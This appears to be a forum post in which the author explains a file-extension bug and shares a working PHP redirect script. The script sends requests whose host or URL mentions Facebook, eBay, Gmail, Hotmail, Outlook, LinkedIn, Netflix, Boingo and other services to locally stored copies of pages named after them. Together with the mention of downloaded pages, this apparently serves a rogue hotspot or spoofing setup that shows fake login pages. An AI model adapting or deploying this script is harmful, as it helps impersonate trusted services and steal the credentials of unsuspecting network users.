Ok, so here is the problem I had and the solution.
problem: I downloaded someones pages and added them to my redirect script. My pages still worked fine, but the new ones would just refresh constantly without ever loading content. I thought for sure my redirect.php was messed up some how.
solution: So me being in a hurry, I typed in .html after every line not looking at the .htm extension on these new files and spent hours trying to figure out what was going on. I then, just had a brain fart and noticed what I had been missing for days.
Moral of the story, don't expect everyone to name there html files .html.
Here is my working redirect.php
<?php
$ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if (strpos($ref, "example")){
header('Status: 302 Found');
header('Location: example.html');
}
if (strpos($ref, "facebook")) { header('Status: 302 Found');
header('Location: facebook.html'); }
if (strpos($ref, "ebay")) { header('Status: 302 Found');
header('Location: ebay.html'); }
if (strpos($ref, "twitter")) { header('Status: 302 Found');
header('Location: twitter.html'); }
if (strpos($ref, "dropbox")) { header('Status: 302 Found');
header('Location: dropbox.htm'); }
if (strpos($ref, "netflix")) { header('Status: 302 Found');
header('Location: netflix.htm'); }
if (strpos($ref, "ustream")) { header('Status: 302 Found');
header('Location: ustream.htm'); }
if (strpos($ref, "vimeo")) { header('Status: 302 Found');
header('Location: vimeo.htm'); }
if (strpos($ref, "youtube")) { header('Status: 302 Found');
header('Location: youtube.htm'); }
if (strpos($ref, "gmail")) { header('Status: 302 Found');
header('Location: gmail.htm'); }
if (strpos($ref, "blogger")) { header('Status: 302 Found');
header('Location: blogger.htm'); }
if (strpos($ref, "googleplus")) { header('Status: 302 Found');
header('Location: googleplus.htm'); }
if (strpos($ref, "hotmail")) { header('Status: 302 Found');
header('Location: hotmail.htm'); }
if (strpos($ref, "linkedin")) { header('Status: 302 Found');
header('Location: linkedin.htm'); }
if (strpos($ref, "outlook")) { header('Status: 302 Found');
header('Location: outlook.htm'); }
if (strpos($ref, "boingo")) { header('Status: 302 Found');
header('Location: boingo.html'); }
require('boingo.html');
?>